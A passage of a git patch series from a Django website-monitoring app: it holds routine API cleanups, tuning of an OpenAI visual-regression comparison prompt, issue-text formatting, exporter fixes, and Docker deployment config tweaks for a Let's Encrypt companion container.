     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = CaseRunSerializer(caserun, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -5562,7 +5692,7 @@ def delete_caserun(request: object=None, id: str=None, user: object=None) -> obj
         action='delete', id=id, id_type='caserun'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -5578,7 +5708,7 @@ def delete_caserun(request: object=None, id: str=None, user: object=None) -> obj
     caserun.delete()
 
     # return response
-    data = {'message': 'CaseRun has been deleted',}
+    data = {'message': 'CaseRun deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -5615,7 +5745,7 @@ def get_caseruns_zapier(request: object=None) -> object:
         action='get',
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         return Response(data, status=check_data['status'])
 
     # get all account assocoiated caseruns
@@ -5694,7 +5824,7 @@ def create_or_update_flow(request: object=None) -> object:
         action=action, id=flow_id, id_type='flow'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -5724,7 +5854,7 @@ def create_or_update_flow(request: object=None) -> object:
         )
 
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     data = FlowSerializer(flow, context=serializer_context).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
@@ -5759,7 +5889,7 @@ def get_flows(request: object=None) -> object:
         action='get', id=flow_id, id_type='flow'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -5770,7 +5900,7 @@ def get_flows(request: object=None) -> object:
         flow = Flow.objects.get(id=flow_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = FlowSerializer(flow, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -5782,7 +5912,7 @@ def get_flows(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(flows, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = FlowSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -5814,7 +5944,7 @@ def get_flow(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='flow'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -5822,7 +5952,7 @@ def get_flow(request: object=None, id: str=None) -> object:
     flow = Flow.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = FlowSerializer(flow, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -5855,7 +5985,7 @@ def search_flows(request: object=None) -> object:
         action='get'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
     
@@ -5867,7 +5997,7 @@ def search_flows(request: object=None) -> object:
     # serialize and rerturn
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(flows, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = FlowSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -5901,7 +6031,7 @@ def copy_flow(request: object=None) -> object:
         action='add', id=flow_id, id_type='flow'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -5919,7 +6049,7 @@ def copy_flow(request: object=None) -> object:
     )
 
     # return response
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     data = FlowSerializer(new_flow, context=serializer_context).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
@@ -5953,7 +6083,7 @@ def delete_flow(request: object=None, id: str=None, user: object=None) -> object
         action='delete', id=id, id_type='flow'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -5966,7 +6096,7 @@ def delete_flow(request: object=None, id: str=None, user: object=None) -> object
     flow.delete()
 
     # return response
-    data = {'message': 'Flow has been deleted',}
+    data = {'message': 'Flow deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -6060,7 +6190,7 @@ def get_flows_zapier(request: object=None) -> object:
         action='get',
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         return Response(data, status=check_data['status'])
 
     # get all account assocoiated flows
@@ -6128,7 +6258,7 @@ def create_flowrun(request: object=None) -> object:
         action='add', id=flow_id, id_type='flow'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6233,7 +6363,7 @@ def get_flowruns(request: object=None) -> object:
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6244,7 +6374,7 @@ def get_flowruns(request: object=None) -> object:
         flowrun = FlowRun.objects.get(id=flowrun_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = FlowRunSerializer(flowrun, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -6266,7 +6396,7 @@ def get_flowruns(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(flowruns, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = FlowRunSerializer(result_page, many=True, context=serializer_context)
     if str(lean).lower() == 'true':
         serialized = SmallFlowRunSerializer(result_page, many=True, context=serializer_context)
@@ -6300,7 +6430,7 @@ def get_flowrun(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='flowrun'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6308,7 +6438,7 @@ def get_flowrun(request: object=None, id: str=None) -> object:
     flowruns = FlowRun.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = FlowRunSerializer(flowruns, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -6342,7 +6472,7 @@ def delete_flowrun(request: object=None, id: str=None, user: object=None) -> obj
         action='delete', id=id, id_type='flowrun'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -6355,7 +6485,7 @@ def delete_flowrun(request: object=None, id: str=None, user: object=None) -> obj
     flowrun.delete()
 
     # return response
-    data = {'message': 'FlowRun has been deleted',}
+    data = {'message': 'FlowRun deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -6391,7 +6521,7 @@ def get_flowruns_zapier(request: object=None) -> object:
         action='get',
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         return Response(data, status=check_data['status'])
 
     # get all account assocoiated flowruns
@@ -6466,7 +6596,7 @@ def create_or_update_secret(request: object=None) -> object:
         action=action, id=secret_id, id_type='secret'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6495,7 +6625,7 @@ def create_or_update_secret(request: object=None) -> object:
         )
 
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = SecretSerializer(secret, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -6530,7 +6660,7 @@ def get_secrets(request: object=None) -> object:
         action='get', id=secret_id, id_type='secret'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6541,7 +6671,7 @@ def get_secrets(request: object=None) -> object:
         secret = Secret.objects.get(id=secret_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = SecretSerializer(secret, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -6553,7 +6683,7 @@ def get_secrets(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(secrets, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = SecretSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -6585,7 +6715,7 @@ def get_secret(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='secret'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6593,7 +6723,7 @@ def get_secret(request: object=None, id: str=None) -> object:
     secrets = Secret.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = SecretSerializer(secrets, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -6625,7 +6755,7 @@ def get_secrets_all(request: object=None) -> object:
         action='get'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6673,7 +6803,7 @@ def delete_secret(request: object=None, id: str=None, user: object=None) -> obje
         action='delete', id=id, id_type='secret'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -6686,7 +6816,7 @@ def delete_secret(request: object=None, id: str=None, user: object=None) -> obje
     secret.delete()
 
     # return response
-    data = {'message': 'Secret has been deleted',}
+    data = {'message': 'Secret deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -6732,7 +6862,7 @@ def get_processes(request: object=None) -> object:
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6743,7 +6873,7 @@ def get_processes(request: object=None) -> object:
         process = Process.objects.get(id=process_id)
         
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         data = ProcessSerializer(process, context=serializer_context).data
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -6771,7 +6901,7 @@ def get_processes(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(processes, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = ProcessSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -6803,7 +6933,7 @@ def get_process(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='process'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6811,7 +6941,7 @@ def get_process(request: object=None, id: str=None) -> object:
     process = Process.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = ProcessSerializer(process, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -6843,7 +6973,7 @@ def delete_process(request: object=None, id: str=None) -> object:
         action='delete', id=id, id_type='process'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6864,7 +6994,7 @@ def delete_process(request: object=None, id: str=None) -> object:
     process.delete()
         
     # return response
-    data = {'message': 'Process has been deleted'}
+    data = {'message': 'Process deleted'}
     record_api_call(request, data, '200')
     return Response(data, status=status.HTTP_200_OK)
 
@@ -6903,7 +7033,7 @@ def get_logs(request: object=None) -> object:
         action='get', id=log_id, id_type='log'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6914,7 +7044,7 @@ def get_logs(request: object=None) -> object:
         log = Log.objects.get(id=log_id)
         
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = LogSerializer(log, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -6933,7 +7063,7 @@ def get_logs(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(logs, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = LogSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     return response
@@ -6964,7 +7094,7 @@ def get_log(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='log'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -6972,7 +7102,7 @@ def get_log(request: object=None, id: str=None) -> object:
     log = Log.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = LogSerializer(log, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -7024,7 +7154,7 @@ def search_resources(request: object=None) -> object:
 
     # check action permissons
     if 'get' not in actions:
-        data = {'reason': 'not allowed',}
+        data = {'reason': 'not allowed'}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
@@ -7446,7 +7576,7 @@ def migrate_site(request: object=None) -> object:
         site_id=site_id
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
     
@@ -7478,7 +7608,7 @@ def migrate_site(request: object=None) -> object:
     )
     
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     data = ProcessSerializer(process, context=serializer_context).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)

From 4a3945335f64ed25fe582698c37cd18a6d1f9862 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 14:51:16 -0700
Subject: [PATCH 0853/1099] update: adjusting strictness of AI Compare

---
 app/api/utils/imager.py | 66 ++++++++++++++++++++++++-----------------
 1 file changed, 38 insertions(+), 28 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 024a5a84..dcaa22e7 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -411,7 +411,8 @@ def ai_compare(
             self, 
             pre_img_url: str=None, 
             post_img_url: str=None,
-            score: float=None
+            score: float=None,
+            highlighted: bool=False
         ) -> dict:
         """ 
         Using OpenAI, compares the two images and 
@@ -436,6 +437,13 @@ class Result(BaseModel):
 
         # init client
         gpt_client = OpenAI(api_key=settings.GPT_API_KEY,)
+
+
+        marked_up_images = str(
+            "I've added green boxes arround the areas that have changed between the two images. \
+            The green boxes may not be present if there are no changes. \
+            Omit any reference to the green boxes in your response." 
+        )
         
         # send request
         response = gpt_client.beta.chat.completions.parse(
@@ -447,16 +455,17 @@ class Result(BaseModel):
                         {
                             "type": "text",
                             "text": f"Attached are two screenshots of the same website. \
-                            I've added green boxes arround the areas that have changed between the two images. \
-                            The green boxes may not be present if there are no changes. \
                             I've calculated the Visual Regression SSIM score to be {score}% similar. \
                             Please perform a Visual Regression Analysis of the two images. \
-                            Respond with a few sentance summary about what has changed (images, buttons, text, ect)  \
-                            and a boolean that is TRUE if the page should be considered broken. \
-                            Please be fairly strict with the analysis. \
-                            Also consider any emerging text that looks like raw code (html) to be a 'breaking change'. \
-                            If the same text or code is present in both images, then DO NOT consider it a 'breaking change'. \
-                            Omit any reference to the green boxes in your response. \
+                            {marked_up_images if highlighted else ''} \
+                            Respond with a few sentance summary about what has changed. \
+                            Look for changes in pictures, buttons, forms, vertial shifts, etc. \
+                            Respond also with a boolean that is TRUE if the page should be considered broken. \
+                            Consider any emerging text or pictures that appear to be unrendered HTML \
+                            (contains angle brackets like '<' '>' or square brackets like '[wp-form-12]') to be a 'breaking change'. \
+                            If the same text is present in both images, then DO NOT consider it a 'breaking change'. \
+                            DO NOT consider text changes within images or pictures on the webpage. \
+                            Please be somewhat strict with the analysis. \
                             Format response as a JSON object with 'summary': <string>, 'broken': <bool>"         
                         },
                         {
@@ -776,31 +785,32 @@ def test_vrt(self) -> dict:
 
             # running AI comparison
             resp = self.ai_compare(
-                pre_img_diff.get('url'), 
-                post_img_diff.get('url'), 
-                ssim_img_score
+                pre_img_url   = self.test.pre_scan.images[0].get('url'), 
+                post_img_url  = self.test.post_scan.images[0].get('url'), 
+                score         = ssim_img_score,
+                highlighted   = False
             )
             ai_summary = resp.get('summary')
             broken = resp.get('broken')
 
         except Exception as e:
             print(e)
-            img_score = None
-            pre_img = None
-            post_img = None
-            pre_img_diff = None
-            post_img_diff = None
-            ai_summary = None
-            broken = None
+            img_score       = None
+            pre_img         = None
+            post_img        = None
+            pre_img_diff    = None
+            post_img_diff   = None
+            ai_summary      = None
+            broken          = None
 
         # create img test obj and add to array
         img_test_obj = [{
             "index": 0, 
-            "pre_img": pre_img,
-            "post_img": post_img,
-            "pre_img_diff": pre_img_diff, 
-            "post_img_diff": post_img_diff, 
-            "score": img_score,
+            "pre_img"       : pre_img,
+            "post_img"      : post_img,
+            "pre_img_diff"  : pre_img_diff, 
+            "post_img_diff" : post_img_diff, 
+            "score"         : img_score,
         }]
 
         # remove temp dir
@@ -808,10 +818,10 @@ def test_vrt(self) -> dict:
 
         # formatting response
         images_delta = {
-            "average_score": img_score,
-            "images": img_test_obj,
-            "ai_summary": ai_summary,
-            "broken": broken
+            "average_score" : img_score,
+            "images"        : img_test_obj,
+            "ai_summary"    : ai_summary,
+            "broken"        : broken
         }
 
         # returning response

From f9c57b3ca9fc57dfefd86eb0aa53c66e6afda8f5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 15:08:17 -0700
Subject: [PATCH 0854/1099] update: forcing client image pull on dev

---
 .github/workflows/dev-deploy.yaml | 1 +
 docker-compose.dev.yml            | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 4045c177..68bb0c71 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -30,4 +30,5 @@ jobs:
           git pull origin dev
           docker compose -f docker-compose.dev.yml down
           docker volume rm app_server app_beat app_celery
+          docker image rm cursiondev/client
           docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 4f13a2d3..5809dd5d 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -4,7 +4,7 @@ services:
   client:
     container_name: cursion-client
     hostname: cursion-client
-    image: cursiondev/client
+    image: cursiondev/client:latest
     platform: linux/amd64
     pull_policy: always
     env_file:

From 8ee21e642e738f33382e757c87bb108eec4b16d9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 16:47:27 -0700
Subject: [PATCH 0855/1099] fix: adjusted images being fed to comparison model

---
 app/api/utils/imager.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index dcaa22e7..3b8b5c64 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -464,6 +464,7 @@ class Result(BaseModel):
                             Consider any emerging text or pictures that appear to be unrendered HTML \
                             (contains angle brackets like '<' '>' or square brackets like '[wp-form-12]') to be a 'breaking change'. \
                             If the same text is present in both images, then DO NOT consider it a 'breaking change'. \
+                            Only consider 'breaking changes' on the second image. \
                             DO NOT consider text changes within images or pictures on the webpage. \
                             Please be somewhat strict with the analysis. \
                             Format response as a JSON object with 'summary': <string>, 'broken': <bool>"         
@@ -477,7 +478,7 @@ class Result(BaseModel):
                         {
                             "type": "image_url",
                             "image_url": {
-                                "url": pre_img_url,
+                                "url": post_img_url,
                             },
                         },
                     ],

From ef02d3ea0d59df639d972a5e1ef77b55bb3f3008 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 18:55:52 -0700
Subject: [PATCH 0856/1099] update: reformated Issuer for Test & Scan data

---
 app/api/utils/issuer.py | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index ebab7d43..29c98407 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -266,9 +266,10 @@ def _handle_scan(self) -> None:
 
         # build intro
         intro = str(
-            f'[Scan]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]}) for the page ' + 
-            f'[{self.affected["str"]}]({settings.CLIENT_URL_ROOT}/{self.affected["type"]}/{self.affected["id"]}) ' + 
-            f'contains {' '.join(comps)} issues.\n\n\n'
+            f'### This [Scan]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]}) ' +
+            f'contains {' '.join(comps)} issues.\n' +
+            f'\n\n> Affected Page ' + 
+            f'[{self.affected["str"]}]({settings.CLIENT_URL_ROOT}/{self.affected["type"]}/{self.affected["id"]}) \n\n' 
         )
 
         # build components str
@@ -394,9 +395,10 @@ def _handle_test(self) -> None:
 
         # build intro
         intro = str(
-            f'[Test]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]}) failed for the page ' + 
-            f'[{self.affected["str"]}]({settings.CLIENT_URL_ROOT}/{self.affected["type"]}/{self.affected["id"]}) ' + 
-            f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n'
+            f'## This [Test]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]}) failed ' +  
+            f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n' +
+            f'\n\n> Affected Page ' + 
+            f'[{self.affected["str"]}]({settings.CLIENT_URL_ROOT}/{self.affected["type"]}/{self.affected["id"]})\n\n'
         )
 
         # build main_issue

From 244615b60407235fef824cc81734f574ffd2c98a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 19:19:33 -0700
Subject: [PATCH 0857/1099] update: standardized format across issues

---
 app/api/utils/issuer.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 29c98407..cfdc3b50 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -266,7 +266,7 @@ def _handle_scan(self) -> None:
 
         # build intro
         intro = str(
-            f'### This [Scan]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]}) ' +
+            f'## This [Scan]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]}) ' +
             f'contains {' '.join(comps)} issues.\n' +
             f'\n\n> Affected Page ' + 
             f'[{self.affected["str"]}]({settings.CLIENT_URL_ROOT}/{self.affected["type"]}/{self.affected["id"]}) \n\n' 
@@ -469,7 +469,7 @@ def _handle_caserun(self) -> None:
 
         # build intro
         intro = str(
-            f'### Case Run [{self.caserun.title}]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]})' + 
+            f'## Case Run [{self.caserun.title}]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]})' + 
             f' failed on **Step {step_index}**, `{failed_step[step_type]["type"]}`.\n\n\n' +
             f' > Affected Site: [{self.affected["str"]}]({settings.CLIENT_URL_ROOT}/{self.affected["type"]}/{self.affected["id"]})\n\n\n'
         )

From ec22aec57e2bec1888b69f4df41b6cfacacbe3a0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 Jan 2025 11:46:47 -0700
Subject: [PATCH 0858/1099] fix: updated exporter with needed kwargs

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index e63c425a..0721d6c3 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -110,7 +110,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     }
 
     # sending email to prospect
-    data = sendgrid_email(message_obj)
+    data = sendgrid_email(message_obj=message_obj)
 
     # returning data
     return data

From ed47e05671f9ed09e954bbebcea970a9a293f685 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 Jan 2025 13:02:39 -0700
Subject: [PATCH 0859/1099] fix: added driver_wait to exporter

---
 app/api/utils/exporter.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 0721d6c3..1c0ef87f 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -40,6 +40,9 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     driver.get(f'{settings.LANDING_URL_ROOT}/report/{report_id}')
     time.sleep(5)
 
+    # wait for page to load
+    driver_wait(driver=driver)
+
     # setting screensize
     full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
     driver.set_window_size(1512, int(full_page_height))

From 7c05bf1c14651e6373cfc439bcf44268e62c75f7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 2 Feb 2025 13:48:27 -0700
Subject: [PATCH 0860/1099] update:  added new exceptions to image compare

---
 app/api/utils/imager.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 3b8b5c64..2348723c 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -461,10 +461,11 @@ class Result(BaseModel):
                             Respond with a few sentance summary about what has changed. \
                             Look for changes in pictures, buttons, forms, vertial shifts, etc. \
                             Respond also with a boolean that is TRUE if the page should be considered broken. \
-                            Consider any emerging text or pictures that appear to be unrendered HTML \
+                            Consider any emerging portions that appear to be unrendered HTML \
                             (contains angle brackets like '<' '>' or square brackets like '[wp-form-12]') to be a 'breaking change'. \
                             If the same text is present in both images, then DO NOT consider it a 'breaking change'. \
                             Only consider 'breaking changes' on the second image. \
+                            DO NOT consider new or altered text to a 'breaking change'. \
                             DO NOT consider text changes within images or pictures on the webpage. \
                             Please be somewhat strict with the analysis. \
                             Format response as a JSON object with 'summary': <string>, 'broken': <bool>"         

From d46a12185cf414af6cab1c6f8597e635ea1e4a7b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 2 Feb 2025 16:58:47 -0700
Subject: [PATCH 0861/1099] fix: updated permission for letsencrypt container

---
 docker/docker-compose.remote.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/docker/docker-compose.remote.yml b/docker/docker-compose.remote.yml
index 10cc0c87..141e568b 100644
--- a/docker/docker-compose.remote.yml
+++ b/docker/docker-compose.remote.yml
@@ -107,6 +107,7 @@ services:
     hostname: nginx-proxy-letsencrypt
     image: nginxproxy/acme-companion
     platform: linux/amd64
+    privileged: true
     env_file:
       - ./env/.env.remote
     volumes:

From a6c6fefd803a62461e0b22f2bbcebc97f310114e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 2 Feb 2025 17:04:29 -0700
Subject: [PATCH 0862/1099] fix: updated volumes for lets-encrypt

---
 docker/docker-compose.remote.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker/docker-compose.remote.yml b/docker/docker-compose.remote.yml
index 141e568b..9e09e2a2 100644
--- a/docker/docker-compose.remote.yml
+++ b/docker/docker-compose.remote.yml
@@ -114,7 +114,7 @@ services:
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html
       - vhost:/etc/nginx/vhost.d
-      - /var/run/docker.sock:/tmp/docker.sock:ro
+      - /var/run/docker.sock:/var/run/docker.sock
       - letsencrypt-acme:/etc/acme.sh
     depends_on:
       - nginx-proxy

From 69b391c4e858c01c8aff2e43bb994cdbf5e056fd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 13:57:45 -0700
